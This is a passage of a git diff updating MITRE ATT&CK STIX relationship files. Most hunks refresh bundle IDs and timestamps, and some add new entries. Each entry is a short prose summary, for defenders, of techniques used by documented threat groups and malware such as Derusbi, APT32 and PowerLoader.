+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--c52eb151-c8c5-45f1-984b-d99a12ca05cf.json b/enterprise-attack/relationship/relationship--c52eb151-c8c5-45f1-984b-d99a12ca05cf.json
index bed27a60f8..804f1b3e5a 100644
--- a/enterprise-attack/relationship/relationship--c52eb151-c8c5-45f1-984b-d99a12ca05cf.json
+++ b/enterprise-attack/relationship/relationship--c52eb151-c8c5-45f1-984b-d99a12ca05cf.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a09ece4f-f4ca-4e79-9d58-2aef7f9183b4",
+    "id": "bundle--a6f4c1a8-61f2-41a4-acf6-e6118a875472",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c52eb151-c8c5-45f1-984b-d99a12ca05cf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Derusbi binds to a raw socket on a random source port between 31800 and 31900 for C2.",
             "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
diff --git a/enterprise-attack/relationship/relationship--c560f682-0d21-4c9b-b35d-33aec2287117.json b/enterprise-attack/relationship/relationship--c560f682-0d21-4c9b-b35d-33aec2287117.json
index 347d49bc15..7cf1c8be09 100644
--- a/enterprise-attack/relationship/relationship--c560f682-0d21-4c9b-b35d-33aec2287117.json
+++ b/enterprise-attack/relationship/relationship--c560f682-0d21-4c9b-b35d-33aec2287117.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0b2083e4-7b53-4303-955c-374061a075ad",
+    "id": "bundle--528d989a-514f-4a28-a6d6-43b2ebf38638",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c560f682-0d21-4c9b-b35d-33aec2287117",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "POWERSOURCE uses DNS TXT records for C2.",
             "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351",
diff --git a/enterprise-attack/relationship/relationship--c569059f-8a7d-4777-a111-d3ab62d178ca.json b/enterprise-attack/relationship/relationship--c569059f-8a7d-4777-a111-d3ab62d178ca.json
index 118d3f4d2d..e84bc323c1 100644
--- a/enterprise-attack/relationship/relationship--c569059f-8a7d-4777-a111-d3ab62d178ca.json
+++ b/enterprise-attack/relationship/relationship--c569059f-8a7d-4777-a111-d3ab62d178ca.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--acccfeca-151a-43f4-aaff-95f0c156107a",
+    "id": "bundle--151b52ac-a09a-45a4-b9d4-6680faac2880",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c569059f-8a7d-4777-a111-d3ab62d178ca",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.040Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 uses a tool that captures information from air-gapped computers via an infected USB and transfers it to network-connected computer when the USB is inserted.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
diff --git a/enterprise-attack/relationship/relationship--c56de8bc-ad9e-415a-8840-ae294ed4f88a.json b/enterprise-attack/relationship/relationship--c56de8bc-ad9e-415a-8840-ae294ed4f88a.json
new file mode 100644
index 0000000000..d6adafa90b
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--c56de8bc-ad9e-415a-8840-ae294ed4f88a.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--3a82efcf-1bbc-4650-b0f4-34e32a8bd62f",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--c56de8bc-ad9e-415a-8840-ae294ed4f88a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "overwrites Explorer\u2019s Shell_TrayWnd extra window memory to redirect execution to a NTDLL function that is abused to assemble and execute a return-oriented programming (ROP) chain and create a malicious thread within Explorer.exe.",
+            "source_ref": "malware--0a9c51e0-825d-4b9b-969d-ce86ed8ce3c3",
+            "target_ref": "attack-pattern--52f3d5a6-8a0f-4f82-977e-750abf90d0b0",
+            "external_references": [
+                {
+                    "source_name": "MalwareTech Power Loader Aug 2013",
+                    "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.",
+                    "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html"
+                },
+                {
+                    "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013",
+                    "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.",
+                    "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--c5747927-2d3d-4d3b-a4d7-56a2b37b039e.json b/enterprise-attack/relationship/relationship--c5747927-2d3d-4d3b-a4d7-56a2b37b039e.json
index 6ae7bee38b..83bf5ff765 100644
--- a/enterprise-attack/relationship/relationship--c5747927-2d3d-4d3b-a4d7-56a2b37b039e.json
+++ b/enterprise-attack/relationship/relationship--c5747927-2d3d-4d3b-a4d7-56a2b37b039e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b82db775-3c56-4930-88e8-87402a73bf34",
+    "id": "bundle--41de5ac2-748a-4117-b128-fe8bfd9f9bb8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c5747927-2d3d-4d3b-a4d7-56a2b37b039e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--02f0f92a-0a51-4c94-9bda-6437b9a93f22",
             "target_ref": "attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00",
diff --git a/enterprise-attack/relationship/relationship--c57efd0b-817e-45c2-9f11-e8e7ac11b44c.json b/enterprise-attack/relationship/relationship--c57efd0b-817e-45c2-9f11-e8e7ac11b44c.json
index a0301b1c4f..089b481441 100644
--- a/enterprise-attack/relationship/relationship--c57efd0b-817e-45c2-9f11-e8e7ac11b44c.json
+++ b/enterprise-attack/relationship/relationship--c57efd0b-817e-45c2-9f11-e8e7ac11b44c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4fea4e7e-a892-4354-9905-591e1addf247",
+    "id": "bundle--346649ff-2d84-406e-ba21-924b51693ea3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c57efd0b-817e-45c2-9f11-e8e7ac11b44c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.020Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--da987565-27b6-4b31-bbcd-74b909847116",
             "target_ref": "attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091",
diff --git a/enterprise-attack/relationship/relationship--c585ae70-1bda-4751-ad34-536a78b7daad.json b/enterprise-attack/relationship/relationship--c585ae70-1bda-4751-ad34-536a78b7daad.json
index 21e5a83d5a..87d168658d 100644
--- a/enterprise-attack/relationship/relationship--c585ae70-1bda-4751-ad34-536a78b7daad.json
+++ b/enterprise-attack/relationship/relationship--c585ae70-1bda-4751-ad34-536a78b7daad.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--55e1c8d9-c17b-4d27-9ed4-d5fa4e0a989b",
+    "id": "bundle--631f9f52-123d-462f-8255-6bd3fec0ec35",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c585ae70-1bda-4751-ad34-536a78b7daad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind obtains the victim IP address.",
             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
diff --git a/enterprise-attack/relationship/relationship--c593abb1-54ce-4196-a11f-f1dd65fed9aa.json b/enterprise-attack/relationship/relationship--c593abb1-54ce-4196-a11f-f1dd65fed9aa.json
index 173706e3c9..082c4844c1 100644
--- a/enterprise-attack/relationship/relationship--c593abb1-54ce-4196-a11f-f1dd65fed9aa.json
+++ b/enterprise-attack/relationship/relationship--c593abb1-54ce-4196-a11f-f1dd65fed9aa.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--43fb66e8-a55a-4d32-befc-04ddd7705cdc",
+    "id": "bundle--3ebccc63-16fa-4235-b594-7ac71c7e97e5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c593abb1-54ce-4196-a11f-f1dd65fed9aa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.030Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--82d8e990-c901-4aed-8596-cc002e7eb307",
             "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
diff --git a/enterprise-attack/relationship/relationship--c5a7cf46-a3ab-4d33-a43f-012c0c5fdf63.json b/enterprise-attack/relationship/relationship--c5a7cf46-a3ab-4d33-a43f-012c0c5fdf63.json
index d93a36d560..a2288c525e 100644
--- a/enterprise-attack/relationship/relationship--c5a7cf46-a3ab-4d33-a43f-012c0c5fdf63.json
+++ b/enterprise-attack/relationship/relationship--c5a7cf46-a3ab-4d33-a43f-012c0c5fdf63.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--aca148f2-4493-45f1-b44b-d9ed7379074c",
+    "id": "bundle--a1dafe63-9c6a-402d-8505-4c764d56a6aa",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c5a7cf46-a3ab-4d33-a43f-012c0c5fdf63",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon attempts to disable UAC remote restrictions by modifying the Registry.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
diff --git a/enterprise-attack/relationship/relationship--c5cf4822-a0bf-442a-9943-1937ac45520b.json b/enterprise-attack/relationship/relationship--c5cf4822-a0bf-442a-9943-1937ac45520b.json
index 5c83882be3..d412d173d1 100644
--- a/enterprise-attack/relationship/relationship--c5cf4822-a0bf-442a-9943-1937ac45520b.json
+++ b/enterprise-attack/relationship/relationship--c5cf4822-a0bf-442a-9943-1937ac45520b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5e115d5e-44c1-43eb-978e-292b9f8c3f49",
+    "id": "bundle--8a7b4fd8-343a-48e1-bb9b-fe8db7a256c3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c5cf4822-a0bf-442a-9943-1937ac45520b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "To establish persistence, SslMM identifies the Start Menu Startup directory and drops a link to its own executable disguised as an \u201cOffice Start,\u201d \u201cYahoo Talk,\u201d \u201cMSN Gaming Z0ne,\u201d or \u201cMSN Talk\u201d shortcut.",
             "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
diff --git a/enterprise-attack/relationship/relationship--c5da001c-2c17-4e83-8e5c-21863ead4bd9.json b/enterprise-attack/relationship/relationship--c5da001c-2c17-4e83-8e5c-21863ead4bd9.json
index e6b41c602d..17af591060 100644
--- a/enterprise-attack/relationship/relationship--c5da001c-2c17-4e83-8e5c-21863ead4bd9.json
+++ b/enterprise-attack/relationship/relationship--c5da001c-2c17-4e83-8e5c-21863ead4bd9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5b6e6ab9-cb8b-4335-b835-c52e6a4ab2ba",
+    "id": "bundle--697130a6-c703-4c0b-b1c9-7e4fb16fc3e1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c5da001c-2c17-4e83-8e5c-21863ead4bd9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.075Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Patchwork ran a reverse shell with Meterpreter.",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
diff --git a/enterprise-attack/relationship/relationship--c5fa4766-4468-4afd-9b5f-5ce4f443729d.json b/enterprise-attack/relationship/relationship--c5fa4766-4468-4afd-9b5f-5ce4f443729d.json
index 410c98c87d..5a0ad193ad 100644
--- a/enterprise-attack/relationship/relationship--c5fa4766-4468-4afd-9b5f-5ce4f443729d.json
+++ b/enterprise-attack/relationship/relationship--c5fa4766-4468-4afd-9b5f-5ce4f443729d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--542b900c-8ae9-417a-8f79-7e52487fce28",
+    "id": "bundle--70987ec5-a818-4325-aa1a-528387972e1c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c5fa4766-4468-4afd-9b5f-5ce4f443729d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Prikormka adds itself to a Registry Run key with the name guidVGA or guidVSA.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
diff --git a/enterprise-attack/relationship/relationship--c612eb88-d7e0-46cc-a9bc-d0da2977ff00.json b/enterprise-attack/relationship/relationship--c612eb88-d7e0-46cc-a9bc-d0da2977ff00.json
index 54da005c0d..b7e1e278c8 100644
--- a/enterprise-attack/relationship/relationship--c612eb88-d7e0-46cc-a9bc-d0da2977ff00.json
+++ b/enterprise-attack/relationship/relationship--c612eb88-d7e0-46cc-a9bc-d0da2977ff00.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--61c74b83-50df-4a5c-8f58-da4286b6da32",
+    "id": "bundle--1c5db806-7042-4e90-8fc4-373e22ce2a82",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c612eb88-d7e0-46cc-a9bc-d0da2977ff00",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "USBStealer drops commands for a second victim onto a removable media drive inserted into the first victim, and commands are executed when the drive is inserted into the second victim.",
             "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
diff --git a/enterprise-attack/relationship/relationship--c6358f18-fc64-46f5-8939-66e5258dd83d.json b/enterprise-attack/relationship/relationship--c6358f18-fc64-46f5-8939-66e5258dd83d.json
index b71b567946..f4d709d4e7 100644
--- a/enterprise-attack/relationship/relationship--c6358f18-fc64-46f5-8939-66e5258dd83d.json
+++ b/enterprise-attack/relationship/relationship--c6358f18-fc64-46f5-8939-66e5258dd83d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--af0b2487-4557-4398-a60f-a03359266a2b",
+    "id": "bundle--f9f46baf-027f-4041-95e0-ec736d784e1c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c6358f18-fc64-46f5-8939-66e5258dd83d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.063Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-1314 actors used compromised credentials for the victim's endpoint management platform, Altiris, to move laterally.",
             "source_ref": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983",
diff --git a/enterprise-attack/relationship/relationship--c63c7dc5-e374-4bf0-9839-0f940ac6d46c.json b/enterprise-attack/relationship/relationship--c63c7dc5-e374-4bf0-9839-0f940ac6d46c.json
index 410a0bb067..4d92871e02 100644
--- a/enterprise-attack/relationship/relationship--c63c7dc5-e374-4bf0-9839-0f940ac6d46c.json
+++ b/enterprise-attack/relationship/relationship--c63c7dc5-e374-4bf0-9839-0f940ac6d46c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9caf895c-0599-4b9a-b8bc-6871d8c493b1",
+    "id": "bundle--26c4656d-24c7-42da-a413-b5f85dd60df1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c63c7dc5-e374-4bf0-9839-0f940ac6d46c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.080Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A Gamaredon Group file stealer can communicate over HTTP for C2.",
             "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
diff --git a/enterprise-attack/relationship/relationship--c6606ced-4641-451f-ac2a-493b1d15d0aa.json b/enterprise-attack/relationship/relationship--c6606ced-4641-451f-ac2a-493b1d15d0aa.json
index 15feab1367..3e79c7b45a 100644
--- a/enterprise-attack/relationship/relationship--c6606ced-4641-451f-ac2a-493b1d15d0aa.json
+++ b/enterprise-attack/relationship/relationship--c6606ced-4641-451f-ac2a-493b1d15d0aa.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5201bdf8-1a94-4799-9b17-7014f428070c",
+    "id": "bundle--02b2524a-ac06-4c5f-aa0a-c7ce4fa2ad3c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c6606ced-4641-451f-ac2a-493b1d15d0aa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM can obtain the computer name, OS version, and default language identifier.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
diff --git a/enterprise-attack/relationship/relationship--c667befa-7242-47f8-bdc1-1056f62bb466.json b/enterprise-attack/relationship/relationship--c667befa-7242-47f8-bdc1-1056f62bb466.json
index e2387a8694..9ba0cef1a4 100644
--- a/enterprise-attack/relationship/relationship--c667befa-7242-47f8-bdc1-1056f62bb466.json
+++ b/enterprise-attack/relationship/relationship--c667befa-7242-47f8-bdc1-1056f62bb466.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--db6e6746-4d00-4d1c-a710-3718032dbe66",
+    "id": "bundle--0d8f3e8a-756d-47d1-b27b-5398747d49ef",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c667befa-7242-47f8-bdc1-1056f62bb466",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Elise exfiltrates data using cookie values that are Base64-encoded.",
             "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
diff --git a/enterprise-attack/relationship/relationship--c6ceeb68-5d8e-4105-a20a-cce2b3ef48f0.json b/enterprise-attack/relationship/relationship--c6ceeb68-5d8e-4105-a20a-cce2b3ef48f0.json
index 4338f040dd..23fd206242 100644
--- a/enterprise-attack/relationship/relationship--c6ceeb68-5d8e-4105-a20a-cce2b3ef48f0.json
+++ b/enterprise-attack/relationship/relationship--c6ceeb68-5d8e-4105-a20a-cce2b3ef48f0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cb7d45c3-8447-4808-99c3-dc61b5f5caad",
+    "id": "bundle--4521512e-c43a-4352-90c7-5bcfdcbe8847",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c6ceeb68-5d8e-4105-a20a-cce2b3ef48f0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.059Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45",
             "target_ref": "malware--e8268361-a599-4e45-bd3f-71c8c7e700c0",
diff --git a/enterprise-attack/relationship/relationship--c6f81350-a410-4ac7-a4b0-58bd4a9c1d9e.json b/enterprise-attack/relationship/relationship--c6f81350-a410-4ac7-a4b0-58bd4a9c1d9e.json
index 2a4c7ee56b..0d15b0f214 100644
--- a/enterprise-attack/relationship/relationship--c6f81350-a410-4ac7-a4b0-58bd4a9c1d9e.json
+++ b/enterprise-attack/relationship/relationship--c6f81350-a410-4ac7-a4b0-58bd4a9c1d9e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6af51af3-392c-48d6-a0ce-8942f6321bce",
+    "id": "bundle--d09b6396-201b-415e-8137-e42d0ec2b076",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c6f81350-a410-4ac7-a4b0-58bd4a9c1d9e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.070Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "After compromising a victim, Poseidon Group lists all running processes.",
             "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Kaspersky Poseidon Group",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.",
-                    "url": "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
+                    "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--c7017855-dc52-4e9d-977f-3af701e094c8.json b/enterprise-attack/relationship/relationship--c7017855-dc52-4e9d-977f-3af701e094c8.json
new file mode 100644
index 0000000000..25d98632cb
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--c7017855-dc52-4e9d-977f-3af701e094c8.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--64d92657-bee0-4dc0-80bf-5f9ae469d146",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--c7017855-dc52-4e9d-977f-3af701e094c8",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT32 has used Web shells to maintain access to victim websites.",
+            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
+            "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df",
+            "external_references": [
+                {
+                    "source_name": "Volexity OceanLotus Nov 2017",
+                    "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.",
+                    "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--c7047518-c63f-41b5-a803-1ed54066a62e.json b/enterprise-attack/relationship/relationship--c7047518-c63f-41b5-a803-1ed54066a62e.json
index 160c6d0d4d..bd4f8e44a4 100644
--- a/enterprise-attack/relationship/relationship--c7047518-c63f-41b5-a803-1ed54066a62e.json
+++ b/enterprise-attack/relationship/relationship--c7047518-c63f-41b5-a803-1ed54066a62e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--204ef319-8964-40d7-a6b7-e882343cdff4",
+    "id": "bundle--05e5f1de-a82c-42e7-a982-45f9929b08c9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c7047518-c63f-41b5-a803-1ed54066a62e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.022Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1022138b-497c-40e6-b53a-13351cbd4090",
             "target_ref": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a",
diff --git a/enterprise-attack/relationship/relationship--c7420523-7dc0-4118-a075-93f9c0268627.json b/enterprise-attack/relationship/relationship--c7420523-7dc0-4118-a075-93f9c0268627.json
index 3e7110a0d9..95cf8cb5b0 100644
--- a/enterprise-attack/relationship/relationship--c7420523-7dc0-4118-a075-93f9c0268627.json
+++ b/enterprise-attack/relationship/relationship--c7420523-7dc0-4118-a075-93f9c0268627.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--99c3f317-a4c1-41b7-a8d6-c2d185d5d131",
+    "id": "bundle--193ea81d-d9b0-40a6-9304-d21fd42e5ad5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c7420523-7dc0-4118-a075-93f9c0268627",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The \"tDiscoverer\" variant of HAMMERTOSS establishes a C2 channel by downloading resources from Web services like Twitter and GitHub. HAMMERTOSS binaries contain an algorithm that generates a different Twitter handle for the malware to check for instructions every day.",
             "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4",
diff --git a/enterprise-attack/relationship/relationship--c74cbdc5-e454-4b22-957e-926854dd37f1.json b/enterprise-attack/relationship/relationship--c74cbdc5-e454-4b22-957e-926854dd37f1.json
new file mode 100644
index 0000000000..5e2d58bb9d
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--c74cbdc5-e454-4b22-957e-926854dd37f1.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--5c9a78dd-23b6-4647-9c10-43f02fbd1da8",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--c74cbdc5-e454-4b22-957e-926854dd37f1",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
